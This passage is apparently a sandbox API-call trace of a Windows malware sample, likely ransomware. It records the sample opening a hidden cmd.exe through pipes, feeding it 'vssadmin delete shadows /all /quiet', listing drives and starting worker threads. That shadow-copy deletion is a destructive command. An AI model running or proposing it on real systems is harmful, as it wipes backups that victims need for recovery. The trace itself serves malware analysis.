lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0041.351] WriteFile (in: hFile=0xe8, lpBuffer=0x2020020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0041.356] ReadFile (in: hFile=0xe4, lpBuffer=0x2020020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2020020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0041.356] CloseHandle (hObject=0xe8) returned 1 [0041.357] CloseHandle (hObject=0xe4) returned 1 [0041.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.357] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f5930 [0041.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.357] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5f58e0 [0041.357] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0041.357] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0041.357] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0041.357] lstrlenW (lpString="kernel32.dll") returned 12 [0041.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f58e0 | out: hHeap=0x5c0000) returned 1 [0041.357] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0041.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5930 | out: hHeap=0x5c0000) returned 1 [0041.358] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2020020 | out: hHeap=0x5c0000) returned 1 [0041.367] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fb590 | out: hHeap=0x5c0000) returned 1 [0041.367] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x60b598 | out: hHeap=0x5c0000) returned 1 [0041.367] lstrlenW (lpString="%windir%\\System32") returned 17 [0041.367] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f69a8 | out: hHeap=0x5c0000) returned 1 [0041.367] lstrlenW (lpString="%appdata%") returned 9 [0041.367] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4398 | out: hHeap=0x5c0000) returned 1 [0041.367] lstrlenW (lpString="%sh(Startup)%") returned 13 [0041.367] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4370 | out: hHeap=0x5c0000) returned 1 [0041.367] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0041.367] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f69f0 | out: hHeap=0x5c0000) returned 1 [0041.367] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.367] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5d4370 [0041.367] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4370, Size=0x40) returned 0x5f69f0 [0041.367] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f69f0, Size=0x80) returned 0x61b5b8 [0041.367] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.367] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5d4370 [0041.367] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x1fffc) returned 0x5fb590 [0041.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x61d5a0 [0041.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x62d5a8 [0041.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a30 [0041.368] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a30, Size=0x20) returned 0x5d4398 [0041.368] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4398, Size=0x40) returned 0x5f69f0 [0041.368] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f69f0, Size=0x80) returned 0x61b640 [0041.368] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b640, Size=0x100) returned 0x5f7bb0 [0041.368] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0041.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f7bb0 | out: hHeap=0x5c0000) returned 1 [0041.368] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x61d5a0, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0041.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x62d5a8 | out: hHeap=0x5c0000) returned 1 [0041.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61d5a0 | out: hHeap=0x5c0000) returned 1 [0041.368] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0041.371] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0041.371] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0041.371] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0041.371] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0xa0c, dwThreadId=0x9cc)) returned 1 [0041.412] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0041.412] WriteFile (in: hFile=0xec, lpBuffer=0x61b5b8*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x61b5b8*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0041.412] CloseHandle (hObject=0xfc) returned 1 [0041.412] CloseHandle (hObject=0xf8) returned 1 [0041.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fb590 | out: hHeap=0x5c0000) returned 1 [0041.412] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0041.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x61b5b8 | out: hHeap=0x5c0000) returned 1 [0041.412] lstrlenW (lpString="%comspec%") returned 9 [0041.412] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d4370 | out: hHeap=0x5c0000) returned 1 [0041.413] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0041.709] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4a30 [0041.709] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x5f4a30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0041.711] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d47a8 [0041.711] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x5d47a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0041.712] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a48 [0041.712] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a48, Size=0x20) returned 0x5d4370 [0041.712] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4370, Size=0x40) returned 0x5f69f0 [0041.712] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0041.712] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x5f7c28 [0041.712] GetLogicalDrives () returned 0x4 [0041.712] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10014) returned 0x5fb590 [0041.712] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a48 [0041.712] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f4a48, Size=0x20) returned 0x5d4370 [0041.712] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4370, Size=0x40) returned 0x5f6a80 [0041.713] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f6a80, Size=0x80) returned 0x61b5b8 [0041.713] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61b5b8, Size=0x100) returned 0x5f9198 [0041.713] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9198, Size=0x200) returned 0x5f9198 [0041.713] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9198, Size=0x400) returned 0x5f9198 [0041.713] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9198, Size=0x800) returned 0x5f97b0 [0041.713] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f97b0, Size=0x1000) returned 0x60b5b0 [0041.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x61d5a0 [0041.713] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f4a48 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4b20 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4750 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f4b38 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x5d4760 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4b50 [0041.714] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4760, Size=0x8) returned 0x5d4760 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4b68 [0041.714] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4760, Size=0x10) returned 0x5d4718 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4b80 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4b98 [0041.714] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5d4718, Size=0x20) returned 0x5f7ab0 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4bb0 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4760 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4bc8 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4be0 [0041.714] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f7ab0, Size=0x40) returned 0x5f52d8 [0041.714] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4bf8 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4c10 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4c28 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f4c40 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4c58 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4c70 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f5320 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4c88 [0041.715] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f52d8, Size=0x80) returned 0x5f9198 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4ca0 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4cb8 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4cd0 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f4ce8 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f97c8 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f97e0 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f97f8 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4718 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9810 [0041.715] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9828 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9840 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9858 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9870 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9888 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f98a0 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f98b8 [0041.716] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9198, Size=0x100) returned 0x5f9198 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f98d0 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f98e8 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9900 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f9918 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9930 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9948 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5d4728 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9960 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9978 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9990 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5f7ab0 [0041.716] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f99a8 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f99c0 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f7ac0 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f99d8 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f99f0 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9a08 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a20 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a38 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a50 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x5f9a68 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9a80 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x5f9a98 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ab0 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ac8 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ae0 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9af8 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f7ad0 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b10 [0041.717] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b28 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b40 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b58 [0041.718] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9198, Size=0x200) returned 0x5f9198 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b70 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f52d8 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9b88 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9bc8 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9be0 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9bf8 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c10 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c28 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c40 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c58 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9c70 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9c88 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9ca0 [0041.718] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9cb8 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9cd0 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9ce8 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9d00 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d18 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9d30 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9d48 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d60 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d78 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9d90 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f52e8 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9da8 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9dc0 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9dd8 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f9fc8 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9df0 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9e08 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9e20 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9e38 [0041.719] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9e50 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9e68 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9e80 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9e98 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9eb0 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9ec8 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ee0 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9ef8 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f10 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x5f9f28 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f40 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f58 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f70 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x5f9f88 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c5d0 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c5e8 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c600 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f9fd8 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x5f9fe8 [0041.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c618 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c630 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c648 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c660 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c678 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60c690 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c6a8 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c6c0 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c6d8 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c6f0 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60c708 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c720 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c738 [0041.721] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5f9198, Size=0x400) returned 0x5f9198 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c750 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c768 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60c780 [0041.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c798 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c7b0 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c7c8 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60c7e0 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c7f8 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c810 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c828 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x5f9ff8 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c840 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x60c858 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c870 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c888 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c8a0 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c8b8 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x60c8d0 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c8e8 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c900 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c918 [0041.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x60c930 [0041.723] 